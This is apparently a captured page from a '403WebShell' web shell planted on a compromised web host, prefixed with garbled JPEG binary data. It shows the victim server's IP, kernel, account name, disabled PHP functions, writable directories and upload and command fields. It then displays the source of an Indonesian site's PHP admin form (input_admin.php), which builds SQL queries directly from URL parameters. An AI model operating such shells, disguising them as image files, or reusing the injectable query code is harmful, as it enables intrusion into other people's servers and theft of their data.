JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 84.32.84.101  /  Your IP : 216.73.216.163
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u686484674/domains/idikotabandung.com/public_html/IDI/noperlu/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u686484674/domains/idikotabandung.com/public_html/IDI/noperlu/input_admin.php
<?php include "header.php"; ?>
<?php 
$id_user=$_SESSION["npm"];
$username=$_SESSION["level"];


?>



<style type="text/css">
<!--
.style2 {
	font-size: 12px;
	font-weight: bold;
}
.style3 {font-size: 12px}
-->

@import url(http://fonts.googleapis.com/css?family=Montserrat:400,700);

html{    background:url(http://thekitemap.com/images/feedback-img.jpg) no-repeat;
  background-size: cover;
  height:100%;
}

#feedback-page{
	text-align:center;
}

#form-main{
	width:100%;
	float:left;
	padding-top:0px;
}

#form-div {
	background-color:rgba(72,72,72,0.4);
	padding-left:35px;
	padding-right:35px;
	padding-top:35px;
	padding-bottom:50px;
	width: 450px;
	float: left;
	left: 50%;
	position: absolute;
  margin-top:30px;
	margin-left: -260px;
  -moz-border-radius: 7px;
  -webkit-border-radius: 7px;
}

.feedback-input {
	color:#3c3c3c;
	font-family: Helvetica, Arial, sans-serif;
  font-weight:500;
	font-size: 18px;
	border-radius: 0;
	line-height: 22px;
	background-color: #fbfbfb;
	padding: 13px 13px 13px 54px;
	margin-bottom: 10px;
	width:100%;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	-ms-box-sizing: border-box;
	box-sizing: border-box;
  border: 3px solid rgba(0,0,0,0);
}

.feedback-input:focus{
	background: #fff;
	box-shadow: 0;
	border: 3px solid #3498db;
	color: #3498db;
	outline: none;
  padding: 13px 13px 13px 54px;
}

.focused{
	color:#30aed6;
	border:#30aed6 solid 3px;
}

/* Icons ---------------------------------- */
#name{
	background-image: url(http://rexkirby.com/kirbyandson/images/name.svg);
	background-size: 30px 30px;
	background-position: 11px 8px;
	background-repeat: no-repeat;
}

#name:focus{
	background-image: url(http://rexkirby.com/kirbyandson/images/name.svg);
	background-size: 30px 30px;
	background-position: 8px 5px;
  background-position: 11px 8px;
	background-repeat: no-repeat;
}

#email{
	background-image: url(http://rexkirby.com/kirbyandson/images/email.svg);
	background-size: 30px 30px;
	background-position: 11px 8px;
	background-repeat: no-repeat;
}

#email:focus{
	background-image: url(http://rexkirby.com/kirbyandson/images/email.svg);
	background-size: 30px 30px;
  background-position: 11px 8px;
	background-repeat: no-repeat;
}

#comment{
	background-image: url(http://rexkirby.com/kirbyandson/images/comment.svg);
	background-size: 30px 30px;
	background-position: 11px 8px;
	background-repeat: no-repeat;
}

textarea {
    width: 100%;
    height: 150px;
    line-height: 150%;
    resize:vertical;
}

input:hover, textarea:hover,
input:focus, textarea:focus {
	background-color:white;
}

#button-blue{
	font-family: 'Montserrat', Arial, Helvetica, sans-serif;
	float:left;
	width: 100%;
	border: #fbfbfb solid 4px;
	cursor:pointer;
	background-color: #3498db;
	color:white;
	font-size:24px;
	padding-top:22px;
	padding-bottom:22px;
	-webkit-transition: all 0.3s;
	-moz-transition: all 0.3s;
	transition: all 0.3s;
  margin-top:-4px;
  font-weight:700;
}

#button-blue:hover{
	background-color: rgba(0,0,0,0);
	color: #0493bd;
}
	
.submit:hover {
	color: #3498db;
}
	
.ease {
	width: 0px;
	height: 74px;
	background-color: #fbfbfb;
	-webkit-transition: .3s ease;
	-moz-transition: .3s ease;
	-o-transition: .3s ease;
	-ms-transition: .3s ease;
	transition: .3s ease;
}

.submit:hover .ease{
  width:100%;
  background-color:white;
}

@media only screen and (max-width: 580px) {
	#form-div{
		left: 3%;
		margin-right: 3%;
		width: 88%;
		margin-left: 0;
		padding-left: 3%;
		padding-right: 3%;
	}
</style>

<div class="container">
<br><br><br>
				<?php
				$view = isset($_GET['view']) ? $_GET['view'] : null;

				switch($view){
					default:
					?>
						<div class="panel panel-primary">


							<div class="panel-heading">
								<h3 class="panel-title">Data Supervisor / Sales</h3>
						  </div>
						  
	    <div class="panel-body">
								
					<table class="table table-bordered table-striped">
					<thead>
					<tr>
						<th scope="col">No.</th>
						<th scope="col">Project</th>

						<th scope="col">Action</th>
						
					</tr>
					</thead>
				<?php 
					$sql = mysqli_query($konek,"select distinct(project) as project from mahasiswa  order by project asc");
					$no=1;
					while($d=mysqli_fetch_array($sql)){
						echo "<tr>
							<td data-header='No'>$no</td>
							<td data-header='Project'>$d[project]</td>
							
							<td data-header='Action'>
							<a href='./grafik/grafikproject.php?project=$d[project]'>$d[project]</a>
							</td>


							<td data-header='Action'>
								
								 <a class='btn btn-primary' style='margin-bottom: 10px' href='input_admin.php?project=$d[project]&view=tambah'>Tambah Data User</a> | 
								  <a class='btn btn-danger' style='margin-bottom: 10px' href='edit_01.php?project=$d[project]&view=tambah'>Edit User Aktif</a> |
								   <a class='btn btn-warning' style='margin-bottom: 10px' href='edit_02.php?project=$d[project]&view=tambah'>Edit User Non aktif</a>
								</td>
								
						</tr>";
						$no++;
					}
					?>
				</table>
							
             </div>
				
				
				
	<?php
		break;
		case "tambah":
				
	?>
				   <div class="panel panel-primary">
				   <br><br>
				   
					<div class="panel-heading">
								
					<h3 class="panel-title">Tambah Data Supervisor/Manager/Sales</h3>
					</div>			

			  <div id="form-main">
			  <div id="form-div">
			  									<?php 						
								
								if(isset($_GET['nama'])){
									
											if($_GET['nama'] == "kosong")
											{
												echo "<h4 style='color:red'> Nama tidak boleh kosong !</h4>";
											}
											
									    }
										
										if(isset($_GET['nama'])){
									
											if($_GET['nama'] == "kosong")
											{
												echo "<h4 style='color:red'> Nama tidak boleh kosong !</h4>";
											}
											
											
									    }
										
								?>
						<?php
						 
						 
								if(isset($_GET["hasil"])){
									if($_GET["hasil"] == "gagal"){
										echo "<h4 style='color:red'> No ID Sudah ada !</h4>";
									} else {
										echo "Data berhasil diinput";
									}
								}
							?>
				
				
				<br>
				<br>
<?php
  $project = $_GET ['project'];
  
  $day = $_GET ['project'];
  
   $dayList = array(
   'AGUNG DEVELOPMENT'=> 'AGD',
    'Green Cleosa' => 'CLS',
    'AGD' => 'AGD',
    'Allegria' => 'ALG',
    'Nurasa Regency' => 'NRN',
    'Okaz' => 'OKZ',
    'Puri Primacom' => 'PPR',
    'Sahira Amarta Pemalang' => 'SAP',
	
	'Sahira Dharmawangsa' => 'SDR',
    'Taman Melati Premiere' => 'TMP',
    'Taman Permata' => 'TPC',
    'The Pallace Jogjakarta' => 'TPJ'
	);


// https://www.malasngoding.com
// menghubungkan dengan koneksi database
// mengambil data barang dengan kode paling besar
$query = mysqli_query($konek, "SELECT max(npm) as kodeTerbesar FROM mahasiswa where project='$project' ");
$data = mysqli_fetch_array($query);
$kodeBarang = $data['kodeTerbesar'];

 
 
// mengambil angka dari kode barang terbesar, menggunakan fungsi substr
// dan diubah ke integer dengan (int)
$urutan = (int) substr($kodeBarang, -3, 3);
 
// bilangan yang diambil ini ditambah 1 untuk menentukan nomor urut berikutnya
$urutan++;
 
// membentuk kode barang baru
// perintah sprintf("%03s", $urutan); berguna untuk membuat string menjadi 3 karakter
// misalnya perintah sprintf("%03s", 15); maka akan menghasilkan '015'
// angka yang diambil tadi digabungkan dengan kode huruf yang kita inginkan, misalnya BRG 


//$huruf = substr("$project",0, 3);
$huruf =  $dayList[$day];

$kodeid= $huruf . sprintf("%03s", $urutan);




 $project = $_GET ['project'];
 
//$tanggal = '2015-06-03';



 
 
?>				
				<form  method="POST" action="multi6.php" enctype="multipart/form-data" >
					  <label for="npm">Project</label><br>
					<input name="project" class="form-control" readonly value="<?php echo $project ?>" />
				  </p>
   
				  <label for="npm">NIP</label><br>
					<input name="npm" class="form-control" readonly  placeholder="Isi ID" value="<?php echo $kodeid ?>" />
				  </p>
					  <label for="sales">Nama</label><br>
					<input name="sales"  class="form-control"  placeholder="Isi Nama Sales"  value="" />
				  </p>
			
					 <label for="supervisor">Supervisor</label><br>
					<select class="form-control"  name="supervisor">
											
												<?php
												$sqlKelas = mysqli_query($konek, "select distinct(supervisor) from mahasiswa where project='$_GET[project]' AND level='supervisor'  order by supervisor ASC");
												while($k=mysqli_fetch_array($sqlKelas)){
													?>
													<option value="<?php echo $k['supervisor']; ?>"><?php echo $k['supervisor']; ?></option>
													<?php
												}
												?>
											</select>
											</p>
					
	
									  
			 <label for="level">Level</label><br>
					<select  class="form-control" name="level" id="level">
										<option value="user">user</option>
										<option value="supervisor">supervisor</option>
										<option value="manager">manager</option>
									  </select>
											</p>
					<label for="pasword">Password</label><br>
					<input name="password"  class="form-control"   value="" />
				  </p>
				  
				 	  	<label for="file">Upload foto sales </label>
        <p>
        <input name="file" type="file" />
        </p> 
									  <label for="sales">logo</label><br>
					<input name="logo"  class="form-control"  placeholder="Isi logo gambar"  value="" />
				  </p>  
				  
			      </p>
					<p>&nbsp;</p>
					<div class="submit">
							<input type="submit"   id="button-blue" value="Submit" />
							<div class="ease">
					       </div>
				    </div>
				</form>
			  </div>	
				

				<?php
					break;
				}
				?>



Youez - 2016 - github.com/yon3zu
LinuXploit